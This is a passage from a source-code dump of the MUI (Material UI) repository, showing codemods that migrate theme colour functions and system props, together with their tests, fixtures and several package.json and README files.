    "path": "packages/mui-codemod/src/v7.0.0/theme-color-functions/test-cases/opacity-var.expected.js",
    "content": "export const DigitalClockItem = styled(MenuItem, {\n  name: 'MuiDigitalClock',\n  slot: 'Item',\n  shouldForwardProp: (prop) => prop !== 'itemValue' && prop !== 'formattedValue',\n  overridesResolver: (props, styles) => styles.item,\n})(({ theme }) => ({\n  padding: '8px 16px',\n  margin: '2px 4px',\n  '&:first-of-type': {\n    marginTop: 4,\n  },\n  '&:hover': {\n    backgroundColor: theme.alpha(\n      (theme.vars || theme).palette.primary.main,\n      (theme.vars || theme).palette.action.hoverOpacity\n    ),\n  },\n  '&.Mui-selected': {\n    backgroundColor: (theme.vars || theme).palette.primary.main,\n    color: (theme.vars || theme).palette.primary.contrastText,\n    '&:focus-visible, &:hover': {\n      backgroundColor: (theme.vars || theme).palette.primary.dark,\n    },\n  },\n  '&.Mui-focusVisible': {\n    backgroundColor: theme.alpha(\n      (theme.vars || theme).palette.primary.main,\n      (theme.vars || theme).palette.action.focusOpacity\n    ),\n  },\n}));\n\nfunction transform(t) {\n  const backgroundBackdrop = t.alpha(\n    (t.vars || t).palette.background.default,\n    (t.vars || t).palette.action.disabledOpacity\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/theme-color-functions/theme-color-functions.js",
    "content": "/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function transformer(file, api, options) {\n  if (file.path?.endsWith('.d.ts')) {\n    return file.source;\n  }\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  // Check if the file imports alpha, lighten, or darken from @mui/system/colorManipulator or @mui/material/styles\n  let hasAlphaImport = false;\n  let hasLightenImport = false;\n  let hasDarkenImport = false;\n\n  const importSources = ['@mui/system/colorManipulator', '@mui/material/styles', '@mui/material'];\n\n  importSources.forEach((source) => {\n    root\n      .find(j.ImportDeclaration, {\n        source: {\n          value: source,\n        },\n      })\n      .forEach((path) => {\n        path.node.specifiers.forEach((spec) => {\n          if (spec.type === 'ImportSpecifier') {\n            if (spec.imported.name === 'alpha') {\n              hasAlphaImport = true;\n            }\n            if (spec.imported.name === 'lighten') {\n              hasLightenImport = true;\n            }\n            if (spec.imported.name === 'darken') {\n              hasDarkenImport = true;\n            }\n          }\n        });\n      });\n  });\n\n  // Skip transformation if none of the functions are imported\n  if (!hasAlphaImport && !hasLightenImport && !hasDarkenImport) {\n    return file.source;\n  }\n\n  function replaceThemeWithVars(node, objectName) {\n    if (node.type === 'MemberExpression') {\n      let deepnode = node;\n      while (deepnode.object && deepnode.object.type === 'MemberExpression') {\n        deepnode = deepnode.object;\n      }\n\n      deepnode.object = j.logicalExpression(\n        '||',\n        j.memberExpression(j.identifier(objectName), j.identifier('vars')),\n        j.identifier(objectName),\n      );\n    }\n    if (node.type === 'BinaryExpression') {\n      return j.templateLiteral(\n        [\n          j.templateElement({ raw: '', cooked: '' }, false),\n          j.templateElement({ raw: ' + ', cooked: ' + ' }, false),\n          j.templateElement({ raw: '', cooked: '' }, true),\n        ],\n        [replaceThemeWithVars(node.left, objectName), replaceThemeWithVars(node.right, objectName)],\n      );\n    }\n    return node;\n  }\n\n  // Transform alpha function\n  if (hasAlphaImport) {\n    root.find(j.ConditionalExpression).forEach((path) => {\n      if (path.node.test.type === 'MemberExpression') {\n        if (path.node.test.property.name === 'vars') {\n          if (\n            path.node.alternate.type === 'CallExpression' &&\n            path.node.alternate.callee.name === 'alpha' &&\n            path.node.consequent.type === 'TemplateLiteral'\n          ) {\n            path.replace(\n              j.callExpression(\n                j.memberExpression(j.identifier(path.node.test.object.name), j.identifier('alpha')),\n                [\n                  replaceThemeWithVars(\n                    path.node.alternate.arguments[0],\n                    path.node.test.object.name,\n                  ),\n                  replaceThemeWithVars(\n                    path.node.alternate.arguments[1],\n                    path.node.test.object.name,\n                  ),\n                ],\n              ),\n            );\n          }\n        }\n      }\n    });\n\n    root\n      .find(j.CallExpression, {\n        callee: {\n          name: 'alpha',\n        },\n      })\n      .forEach((path) => {\n        path.replace(\n          j.callExpression(\n            j.memberExpression(j.identifier('theme'), j.identifier('alpha')),\n            path.node.arguments,\n          ),\n        );\n      });\n  }\n\n  // Transform lighten function\n  if (hasLightenImport) {\n    root\n      .find(j.CallExpression, {\n        callee: {\n          name: 'lighten',\n        },\n      })\n      .forEach((path) => {\n        path.replace(\n          j.callExpression(\n            j.memberExpression(j.identifier('theme'), j.identifier('lighten')),\n            path.node.arguments,\n          ),\n        );\n      });\n  }\n\n  // Transform darken function\n  if (hasDarkenImport) {\n    root\n      .find(j.CallExpression, {\n        callee: {\n          name: 'darken',\n        },\n      })\n      .forEach((path) => {\n        path.replace(\n          j.callExpression(\n            j.memberExpression(j.identifier('theme'), j.identifier('darken')),\n            path.node.arguments,\n          ),\n        );\n      });\n  }\n\n  // Remove transformed functions from import statements\n  importSources.forEach((source) => {\n    root\n      .find(j.ImportDeclaration, {\n        source: {\n          value: source,\n        },\n      })\n      .forEach((path) => {\n        const specifiers = path.node.specifiers.filter((spec) => {\n          if (spec.type === 'ImportSpecifier') {\n            const name = spec.imported.name;\n            // Remove if it was transformed\n            if (\n              (name === 'alpha' && hasAlphaImport) ||\n              (name === 'lighten' && hasLightenImport) ||\n              (name === 'darken' && hasDarkenImport)\n            ) {\n              return false;\n            }\n          }\n          return true;\n        });\n\n        if (specifiers.length === 0) {\n          // Remove the import entirely if no specifiers left\n          j(path).remove();\n        } else {\n          // Update the import with remaining specifiers\n          path.node.specifiers = specifiers;\n        }\n      });\n  });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v7.0.0/theme-color-functions/theme-color-functions.test.js",
    "content": "import { describeJscodeshiftTransform } from '../../../testUtils';\nimport transform from './theme-color-functions';\n\ndescribe('@mui/codemod', () => {\n  describe('v7.0.0', () => {\n    describeJscodeshiftTransform({\n      transform,\n      transformName: 'theme-color-functions',\n      dirname: __dirname,\n      testCases: [\n        {\n          actual: '/test-cases/actual.js',\n          expected: '/test-cases/expected.js',\n        },\n        {\n          actual: '/test-cases/opacity-var.actual.js',\n          expected: '/test-cases/opacity-var.expected.js',\n        },\n        {\n          actual: '/test-cases/opacity-calc.actual.js',\n          expected: '/test-cases/opacity-calc.expected.js',\n        },\n        {\n          actual: '/test-cases/lighten-basic.actual.js',\n          expected: '/test-cases/lighten-basic.expected.js',\n        },\n        {\n          actual: '/test-cases/darken-basic.actual.js',\n          expected: '/test-cases/darken-basic.expected.js',\n        },\n        {\n          actual: '/test-cases/mixed-functions.actual.js',\n          expected: '/test-cases/mixed-functions.expected.js',\n        },\n        {\n          actual: '/test-cases/no-import.actual.js',\n          expected: '/test-cases/no-import.expected.js',\n        },\n        {\n          actual: '/test-cases/mui-material-styles.actual.js',\n          expected: '/test-cases/mui-material-styles.expected.js',\n        },\n        {\n          actual: '/test-cases/mixed-imports.actual.js',\n          expected: '/test-cases/mixed-imports.expected.js',\n        },\n      ],\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v9.0.0/system-props/index.js",
    "content": "export { default } from './removeSystemProps';\n"
  },
  {
    "path": "packages/mui-codemod/src/v9.0.0/system-props/removeSystemProps.js",
    "content": "// from `packages/mui-system/src/styleFunctionSx/defaultSxConfig.js`\nconst defaultSxConfig = {\n  // borders\n  border: {},\n  borderTop: {},\n  borderRight: {},\n  borderBottom: {},\n  borderLeft: {},\n  borderColor: {},\n  borderTopColor: {},\n  borderRightColor: {},\n  borderBottomColor: {},\n  borderLeftColor: {},\n  outline: {},\n  outlineColor: {},\n  borderRadius: {},\n  color: {},\n  bgcolor: {},\n  backgroundColor: {},\n  p: {},\n  pt: {},\n  pr: {},\n  pb: {},\n  pl: {},\n  px: {},\n  py: {},\n  padding: {},\n  paddingTop: {},\n  paddingRight: {},\n  paddingBottom: {},\n  paddingLeft: {},\n  paddingX: {},\n  paddingY: {},\n  paddingInline: {},\n  paddingInlineStart: {},\n  paddingInlineEnd: {},\n  paddingBlock: {},\n  paddingBlockStart: {},\n  paddingBlockEnd: {},\n\n  m: {},\n  mt: {},\n  mr: {},\n  mb: {},\n  ml: {},\n  mx: {},\n  my: {},\n  margin: {},\n  marginTop: {},\n  marginRight: {},\n  marginBottom: {},\n  marginLeft: {},\n  marginX: {},\n  marginY: {},\n  marginInline: {},\n  marginInlineStart: {},\n  marginInlineEnd: {},\n  marginBlock: {},\n  marginBlockStart: {},\n  marginBlockEnd: {},\n\n  // display\n  displayPrint: {},\n  display: {},\n  overflow: {},\n  textOverflow: {},\n  visibility: {},\n  whiteSpace: {},\n\n  // flexbox\n  flexBasis: {},\n  flexDirection: {},\n  flexWrap: {},\n  justifyContent: {},\n  alignItems: {},\n  alignContent: {},\n  order: {},\n  flex: {},\n  flexGrow: {},\n  flexShrink: {},\n  alignSelf: {},\n  justifyItems: {},\n  justifySelf: {},\n\n  // grid\n  gap: {},\n  rowGap: {},\n  columnGap: {},\n  gridColumn: {},\n  gridRow: {},\n  gridAutoFlow: {},\n  gridAutoColumns: {},\n  gridAutoRows: {},\n  gridTemplateColumns: {},\n  gridTemplateRows: {},\n  gridTemplateAreas: {},\n  gridArea: {},\n\n  // positions\n  position: {},\n  zIndex: {},\n  top: {},\n  right: {},\n  bottom: {},\n  left: {},\n\n  // shadows\n  boxShadow: {},\n\n  // sizing\n  width: {},\n  maxWidth: {},\n  minWidth: {},\n  height: {},\n  maxHeight: {},\n  minHeight: {},\n  boxSizing: {},\n\n  // typography\n  font: {},\n  fontFamily: {},\n  fontSize: {},\n  fontStyle: {},\n  fontWeight: {},\n  letterSpacing: {},\n  textTransform: {},\n  lineHeight: {},\n  textAlign: {},\n  typography: {},\n};\nconst systemProps = Object.keys(defaultSxConfig);\nconst components = [\n  'Box',\n  'Stack',\n  'Typography',\n  'Link',\n  'Grid',\n  'Grid2',\n  'DialogContentText',\n  'TimelineContent',\n  'TimelineOppositeContent',\n];\n\n/**\n * @param {import('jscodeshift').FileInfo} file\n * @param {import('jscodeshift').API} api\n */\nexport default function removeSystemProps(file, api, options) {\n  if (file.path?.endsWith('.json') || file.path?.endsWith('.d.ts')) {\n    return file.source;\n  }\n  const j = api.jscodeshift;\n  const root = j(file.source);\n  const printOptions = options.printOptions;\n\n  const deprecatedElements = [];\n  const typographyColorMatcher = {\n    matcher: (key, val) =>\n      key !== 'color' ||\n      val.value === 'inherit' ||\n      val.value?.includes('.') ||\n      val.value === 'divider' ||\n      val.value?.startsWith('#') ||\n      val.value?.match(/\\(.*\\)/),\n  };\n  const customReplacement = {\n    Typography: typographyColorMatcher,\n    // These components extend Typography\n    DialogContentText: typographyColorMatcher,\n    TimelineContent: typographyColorMatcher,\n    TimelineOppositeContent: typographyColorMatcher,\n    Link: {\n      // Same as Typography but keep color=\"inherit\" as a Link component prop (controls underline behavior)\n      matcher: (key, val) =>\n        key !== 'color' ||\n        val.value?.includes('.') ||\n        val.value === 'divider' ||\n        val.value?.startsWith('#') ||\n        val.value?.match(/\\(.*\\)/),\n    },\n  };\n  const elementReplacement = {};\n\n  root\n    .find(j.ImportDeclaration, (decl) => decl.source.value.includes('@mui'))\n    .forEach((decl) => {\n      decl.node.specifiers.forEach((spec) => {\n        if (spec.type === 'ImportSpecifier') {\n          const name = spec.imported.name;\n          if (components.includes(name)) {\n            deprecatedElements.push(spec.local.name);\n            if (customReplacement[name]) {\n              elementReplacement[spec.local.name] = customReplacement[name];\n            }\n          }\n        }\n        if (spec.type === 'ImportDefaultSpecifier') {\n          const name = decl.node.source.value.split('/').pop();\n          if (components.includes(name)) {\n            deprecatedElements.push(spec.local.name);\n            if (customReplacement[name]) {\n              elementReplacement[spec.local.name] = customReplacement[name];\n            }\n          }\n        }\n      });\n    });\n\n  root\n    .find(j.JSXElement, {\n      openingElement: {\n        name: {\n          name: (name) => {\n            return deprecatedElements.includes(name);\n          },\n        },\n      },\n    })\n    .forEach((el) => {\n      const sx = j.objectExpression([]);\n      const elementName = el.value?.openingElement?.name?.name;\n\n      const sxNodes = j(el)\n        .find(j.JSXAttribute)\n        .filter((path) => path.parent.parent.node === el.node && path.node.name.name === 'sx');\n\n      const sxNodesArray = sxNodes.nodes() || [];\n      const existingSxValue = sxNodesArray[0]?.value?.expression;\n\n      let spreadElement = null;\n      el.node.openingElement.attributes.forEach((attr) => {\n        if (attr.type === 'JSXSpreadAttribute') {\n          spreadElement = attr;\n        }\n      });\n\n      const attrToPrune = ['sx'];\n      el.node.openingElement.attributes.forEach((attr) => {\n        if (\n          attr.type === 'JSXSpreadAttribute' ||\n          !attr.value ||\n          !systemProps.includes(attr?.name?.name)\n        ) {\n          return;\n        }\n        const key = attr?.name?.name;\n        const literal = attr?.value;\n        const val = literal.type === 'JSXExpressionContainer' ? literal.expression : literal;\n        const shouldPrune =\n          !elementReplacement[elementName] || elementReplacement[elementName].matcher(key, val);\n        if (key && val) {\n          if (shouldPrune) {\n            sx.properties.push(j.property('init', j.identifier(key), val));\n            attrToPrune.push(key);\n          }\n        }\n      });\n\n      if (sx.properties.length) {\n        el.node.openingElement.attributes = el.node.openingElement.attributes.filter(\n          (attr) => attr.type !== 'JSXAttribute' || !attrToPrune.includes(attr?.name?.name),\n        );\n\n        let finalSx;\n        if (!existingSxValue) {\n          finalSx = sx;\n        } else if (existingSxValue?.type === 'ObjectExpression') {\n          sx.properties.push(...existingSxValue.properties);\n          finalSx = sx;\n        } else if (existingSxValue?.type === 'ArrayExpression') {\n          existingSxValue.elements = [sx, ...existingSxValue.elements];\n          finalSx = existingSxValue;\n        } else {\n          finalSx = j.arrayExpression([\n            sx,\n            existingSxValue.type === 'Identifier'\n              ? j.spreadElement(\n                  j.conditionalExpression(\n                    j.callExpression(\n                      j.memberExpression(j.identifier('Array'), j.identifier('isArray')),\n                      [existingSxValue],\n                    ),\n                    existingSxValue,\n                    j.arrayExpression([existingSxValue]),\n                  ),\n                )\n              : existingSxValue,\n          ]);\n        }\n\n        if (spreadElement && spreadElement.argument.type === 'Identifier') {\n          if (finalSx.type === 'ObjectExpression') {\n            const propSx = j.memberExpression(spreadElement.argument, j.identifier('sx'));\n            finalSx = j.arrayExpression([\n              finalSx,\n              j.spreadElement(\n                j.conditionalExpression(\n                  j.callExpression(\n                    j.memberExpression(j.identifier('Array'), j.identifier('isArray')),\n                    [propSx],\n                  ),\n                  propSx,\n                  j.arrayExpression([propSx]),\n                ),\n              ),\n            ]);\n          } else if (finalSx.type === 'ArrayExpression') {\n            finalSx.elements.push(j.memberExpression(spreadElement.argument, j.identifier('sx')));\n          }\n        }\n\n        el.node.openingElement.attributes.push(\n          j.jsxAttribute(j.jsxIdentifier('sx'), j.jsxExpressionContainer(finalSx)),\n        );\n      }\n    });\n\n  return root.toSource(printOptions);\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v9.0.0/system-props/removeSystemProps.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport { jscodeshift } from '../../../testUtils';\nimport transform from './removeSystemProps';\nimport readFile from '../../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v9.0.0 - removeSystemProps', () => {\n    it('transforms props as needed', () => {\n      const actual = transform(\n        { source: read('./test-cases/system-props.actual.js') },\n        { jscodeshift },\n        {},\n      );\n\n      const expected = read('./test-cases/system-props.expected.js');\n      expect(actual).to.equal(expected, 'The transformed version should be correct');\n    });\n\n    it('should be idempotent', () => {\n      const actual = transform(\n        { source: read('./test-cases/system-props.expected.js') },\n        { jscodeshift },\n        {},\n      );\n\n      const expected = read('./test-cases/system-props.expected.js');\n      expect(actual).to.equal(expected, 'The transformed version should be correct');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v9.0.0/system-props/test-cases/system-props.actual.js",
    "content": "import { Box as Boxxx, Grid as Griddd, Grid2 as Griddd2 } from '@mui/material';\nimport Typography from '@mui/material/Typography';\nimport Typographyyy from '@mui/material/Typography';\nimport Stackkk from '@mui/material/Stack';\nimport Link from '@mui/material/Link';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineOppositeContent from '@mui/lab/TimelineOppositeContent';\n\n<Boxxx typography=\"body1\" />;\n<Boxxx color=\"palette.main\" sx={{ display: 'block' }} />;\n\n<Griddd container flexDirection={`column`} />;\n<Griddd2 container flexDirection={`column`} />;\n\nconst sx = { display: 'flex' };\nconst ml = 2;\n<Typography color=\"#fff\" mb={5} />;\n<Typography color=\"hsl(200 30% 30%)\" mb={5} />;\n<Typographyyy variant=\"body1\" color=\"primary.main\" ml={ml} sx={sx} />;\n<Typographyyy variant=\"body1\" color=\"divider\" ml={ml} sx={sx} />;\n<Typographyyy variant=\"body1\" color=\"inherit\" ml={ml} sx={sx} />;\n<Typographyyy\n  fontSize=\"xl4\"\n  lineHeight={1}\n  startDecorator={\n    <Typographyyy fontSize=\"lg\" textColor=\"text.secondary\">\n      $\n    </Typographyyy>\n  }\n  sx={{ alignItems: 'flex-start' }}\n>\n  25\n</Typographyyy>;\nfunction Copyright(props) {\n  return (\n    <Typographyyy variant=\"body2\" color=\"text.secondary\" align=\"center\" {...props}>\n      {'Copyright © '}\n      <Link color=\"inherit\" href=\"https://mui.com/\">\n        Your Website\n      </Link>{' '}\n      {new Date().getFullYear()}\n      {'.'}\n    </Typographyyy>\n  );\n}\n\n<Stackkk flex=\"1\" sx={[...(Array.isArray(sx) ? sx : [sx])]} />;\n\n<Boxxx typography=\"body1\" sx={foo.bar ? { opacity: 0 } : sx} />;\n\n<Link color=\"inherit\" href=\"https://mui.com/\">Sitemark</Link>;\n<Link color=\"text.secondary\" variant=\"body2\" href=\"#\">Features</Link>;\n<Link color=\"primary\" href=\"#\">Primary Link</Link>;\n\n<DialogContentText color=\"text.secondary\">Some content</DialogContentText>;\n<DialogContentText color=\"inherit\" mt={2}>Inherited</DialogContentText>;\n<DialogContentText color=\"primary\">Primary</DialogContentText>;\n\n<TimelineOppositeContent color=\"text.secondary\">09:30 am</TimelineOppositeContent>;\n<TimelineContent color=\"inherit\">Eat</TimelineContent>;\n\n// Dynamic color values (expression, not string literal)\n<Typography color={dynamicColor} mb={2}>Dynamic</Typography>;\n<Link color={linkColor} href=\"#\">Dynamic Link</Link>;\n"
  },
  {
    "path": "packages/mui-codemod/src/v9.0.0/system-props/test-cases/system-props.expected.js",
    "content": "import { Box as Boxxx, Grid as Griddd, Grid2 as Griddd2 } from '@mui/material';\nimport Typography from '@mui/material/Typography';\nimport Typographyyy from '@mui/material/Typography';\nimport Stackkk from '@mui/material/Stack';\nimport Link from '@mui/material/Link';\nimport DialogContentText from '@mui/material/DialogContentText';\nimport TimelineContent from '@mui/lab/TimelineContent';\nimport TimelineOppositeContent from '@mui/lab/TimelineOppositeContent';\n\n<Boxxx sx={{\n  typography: \"body1\"\n}} />;\n<Boxxx\n  sx={{\n    color: \"palette.main\",\n    display: 'block'\n  }} />;\n\n<Griddd container sx={{\n  flexDirection: `column`\n}} />;\n<Griddd2 container sx={{\n  flexDirection: `column`\n}} />;\n\nconst sx = { display: 'flex' };\nconst ml = 2;\n<Typography\n  sx={{\n    color: \"#fff\",\n    mb: 5\n  }} />;\n<Typography\n  sx={{\n    color: \"hsl(200 30% 30%)\",\n    mb: 5\n  }} />;\n<Typographyyy\n  variant=\"body1\"\n  sx={[{\n    color: \"primary.main\",\n    ml: ml\n  }, ...(Array.isArray(sx) ? sx : [sx])]} />;\n<Typographyyy\n  variant=\"body1\"\n  sx={[{\n    color: \"divider\",\n    ml: ml\n  }, ...(Array.isArray(sx) ? sx : [sx])]} />;\n<Typographyyy\n  variant=\"body1\"\n  sx={[{\n    color: \"inherit\",\n    ml: ml\n  }, ...(Array.isArray(sx) ? sx : [sx])]} />;\n<Typographyyy\n  startDecorator={\n    <Typographyyy textColor=\"text.secondary\" sx={{\n      fontSize: \"lg\"\n    }}>\n      $\n    </Typographyyy>\n  }\n  sx={{\n    fontSize: \"xl4\",\n    lineHeight: 1,\n    alignItems: 'flex-start'\n  }}>\n  25\n</Typographyyy>;\nfunction Copyright(props) {\n  return (\n    <Typographyyy\n      variant=\"body2\"\n      align=\"center\"\n      {...props}\n      sx={[{\n        color: \"text.secondary\"\n      }, ...(Array.isArray(props.sx) ? props.sx : [props.sx])]}>\n      {'Copyright © '}\n      <Link color=\"inherit\" href=\"https://mui.com/\">\n        Your Website\n      </Link>{' '}\n      {new Date().getFullYear()}\n      {'.'}\n    </Typographyyy>\n  );\n}\n\n<Stackkk\n  sx={[{\n    flex: \"1\"\n  }, ...(Array.isArray(sx) ? sx : [sx])]} />;\n\n<Boxxx\n  sx={[{\n    typography: \"body1\"\n  }, foo.bar ? { opacity: 0 } : sx]} />;\n\n<Link color=\"inherit\" href=\"https://mui.com/\">Sitemark</Link>;\n<Link variant=\"body2\" href=\"#\" sx={{\n  color: \"text.secondary\"\n}}>Features</Link>;\n<Link color=\"primary\" href=\"#\">Primary Link</Link>;\n\n<DialogContentText sx={{\n  color: \"text.secondary\"\n}}>Some content</DialogContentText>;\n<DialogContentText\n  sx={{\n    color: \"inherit\",\n    mt: 2\n  }}>Inherited</DialogContentText>;\n<DialogContentText color=\"primary\">Primary</DialogContentText>;\n\n<TimelineOppositeContent sx={{\n  color: \"text.secondary\"\n}}>09:30 am</TimelineOppositeContent>;\n<TimelineContent sx={{\n  color: \"inherit\"\n}}>Eat</TimelineContent>;\n\n// Dynamic color values (expression, not string literal)\n<Typography color={dynamicColor} sx={{\n  mb: 2\n}}>Dynamic</Typography>;\n<Link color={linkColor} href=\"#\">Dynamic Link</Link>;\n"
  },
  {
    "path": "packages/mui-codemod/testUtils/index.js",
    "content": "/* eslint-disable no-undef */\nimport j from 'jscodeshift';\nimport { EOL } from 'os';\nimport path from 'path';\nimport { expect } from 'chai';\nimport readFile from '../src/util/readFile';\n\nexport const jscodeshift = j.withParser('tsx');\n\nfunction read(dirname, fileName) {\n  return readFile(path.join(dirname, fileName));\n}\n\nexport function describeJscodeshiftTransform({ transformName, transform, testCases, dirname }) {\n  describe(transformName, () => {\n    testCases.forEach((testCase) => {\n      it('transforms as needed', () => {\n        const actual = transform(\n          { source: read(dirname, testCase.actual) },\n          { jscodeshift },\n          {\n            ...testCase.options,\n            printOptions: {\n              ...testCase.options?.printOptions,\n              lineTerminator: EOL,\n            },\n          },\n        );\n\n        const expected = read(dirname, testCase.expected);\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          { source: read(dirname, testCase.expected) },\n          { jscodeshift },\n          {\n            ...testCase.options,\n            printOptions: {\n              ...testCase.options?.printOptions,\n              lineTerminator: EOL,\n            },\n          },\n        );\n\n        const expected = read(dirname, testCase.expected);\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n  });\n}\n"
  },
  {
    "path": "packages/mui-codemod/vitest.config.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url);\n"
  },
  {
    "path": "packages/mui-core-downloads-tracker/README.md",
    "content": "# @mui/core-downloads-tracker\n\nThis package does not contain any code.\nIt is used solely to track number of downloads of @mui/material and @mui/joy (the only packages that depend on it) and help us determine the number of users of @mui/base.\nCounting downloads is done by npm (as for every other package).\n"
  },
  {
    "path": "packages/mui-core-downloads-tracker/package.json",
    "content": "{\n  \"name\": \"@mui/core-downloads-tracker\",\n  \"version\": \"9.0.0-beta.0\",\n  \"author\": \"MUI Team\",\n  \"description\": \"Internal package to track number of downloads of our design system libraries.\",\n  \"files\": [],\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages/core-downloads-tracker\"\n  },\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/mui/material-ui/issues\"\n  },\n  \"homepage\": \"https://mui.com/\",\n  \"funding\": {\n    \"type\": \"opencollective\",\n    \"url\": \"https://opencollective.com/mui-org\"\n  },\n  \"scripts\": {\n    \"release\": \"pnpm publish\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\"\n  }\n}\n"
  },
  {
    "path": "packages/mui-docs/.npmignore",
    "content": "*.tsbuildinfo\n"
  },
  {
    "path": "packages/mui-docs/README.md",
    "content": "# @mui/docs\n\nThis package hosts the documentation building blocks.\n\n## Installation\n\nInstall the package in your project directory with:\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpm install @mui/docs@next\n```\n\nThe docs has a peer dependency on the core components.\nIf you are not already using Material UI in your project, you can add it with:\n\n<!-- #npm-tag-reference -->\n\n```bash\nnpm install @mui/material@next\n```\n\n## Documentation\n\nWe have no documentation for these components.\n"
  },
  {
    "path": "packages/mui-docs/package.json",
    "content": "{\n  \"name\": \"@mui/docs\",\n  \"version\": \"9.0.0-beta.0\",\n  \"author\": \"MUI Team\",\n  \"description\": \"MUI Docs - Documentation building blocks.\",\n  \"keywords\": [\n    \"react\",\n    \"react-component\",\n    \"material-ui\",\n    \"material design\",\n    \"docs\"\n  ],\n  \"type\": \"module\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages/mui-docs\"\n  },\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/mui/material-ui/issues\"\n  },\n  \"homepage\": \"https://github.com/mui/material-ui/tree/master/packages/mui-docs\",\n  \"scripts\": {\n    \"build\": \"code-infra build --flat --bundle esm --copy \\\"src/translations/translations.json\\\" --copy \\\"src/nextFonts/fonts\\\"\",\n    \"release\": \"pnpm build && pnpm publish\",\n    \"test\": \"exit 0\",\n    \"typescript\": \"tsc -p tsconfig.json\"\n  },\n  \"dependencies\": {\n    \"@babel/runtime\": \"^7.29.2\",\n    \"@mui/internal-markdown\": \"workspace:^\",\n    \"clipboard-copy\": \"^4.0.1\",\n    \"clsx\": \"^2.1.1\",\n    \"es-toolkit\": \"^1.45.1\",\n    \"fg-loadcss\": \"^3.1.0\",\n    \"nprogress\": \"^0.2.0\",\n    \"prop-types\": \"^15.8.1\",\n    \"stylis\": \"catalog:docs\"\n  },\n  \"devDependencies\": {\n    \"@mui-internal/api-docs-builder\": \"workspace:*\",\n    \"@mui/icons-material\": \"workspace:*\",\n    \"@mui/material\": \"workspace:*\",\n    \"@types/chai\": \"5.2.3\",\n    \"@types/fg-loadcss\": \"3.1.3\",\n    \"@types/gtag.js\": \"0.0.20\",\n    \"@types/node\": \"20.19.37\",\n    \"@types/nprogress\": \"0.2.3\",\n    \"@types/prop-types\": \"15.7.15\",\n    \"@types/react\": \"19.2.14\",\n    \"next\": \"15.5.14\",\n    \"react\": \"19.2.4\"\n  },\n  \"peerDependencies\": {\n    \"@emotion/cache\": \"catalog:docs\",\n    \"@emotion/react\": \"catalog:docs\",\n    \"@emotion/styled\": \"catalog:docs\",\n    \"@mui/base\": \"^5.0.0 || ^5.0.0-beta || ^7.0.0 || ^7.0.0-beta\",\n    \"@mui/icons-material\": \"^5.0.0 || ^6.0.0 || ^7.0.0 || ^9.0.0 || ^9.0.0-alpha || ^9.0.0-beta\",\n    \"@mui/material\": \"^5.0.0 || ^6.0.0 || ^7.0.0 || ^9.0.0 || ^9.0.0-alpha || ^9.0.0-beta\",\n    \"@mui/material-nextjs\": \"^5.0.0 || ^6.0.0 || ^7.0.0 || ^9.0.0 || ^9.0.0-alpha || ^9.0.0-beta\",\n    \"@mui/stylis-plugin-rtl\": \"^5.0.0 || ^6.0.0 || ^7.0.0 || ^9.0.0 || ^9.0.0-alpha || ^9.0.0-beta\",\n    \"@mui/system\": \"^5.0.0 || ^6.0.0 || ^7.0.0 || ^9.0.0 || ^9.0.0-alpha || ^9.0.0-beta\",\n    \"@mui/utils\": \"^5.0.0 || ^6.0.0 || ^7.0.0 || ^9.0.0 || ^9.0.0-alpha || ^9.0.0-beta\",\n    \"@types/react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\",\n    \"@types/stylis\": \"^4.2.7\",\n    \"chai\": \"^6.0.1\",\n    \"csstype\": \"^3.1.3\",\n    \"next\": \"^13.5.1 || ^14 || ^15.0.0 || ^16.0.0\",\n    \"react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\",\n    \"styled-components\": \"^5.3.0 || ^6.0.0\"\n  },\n  \"peerDependenciesMeta\": {\n    \"@types/react\": {\n      \"optional\": true\n    },\n    \"styled-components\": {\n      \"optional\": true\n    }\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"directory\": \"build\"\n  },\n  \"engines\": {\n    \"node\": \">=14.0.0\"\n  },\n  \"exports\": {\n    \"./*\": \"./src/*/index.ts\"\n  }\n}\n"
  },
  {
    "path": "packages/mui-docs/src/Ad/Ad.tsx",
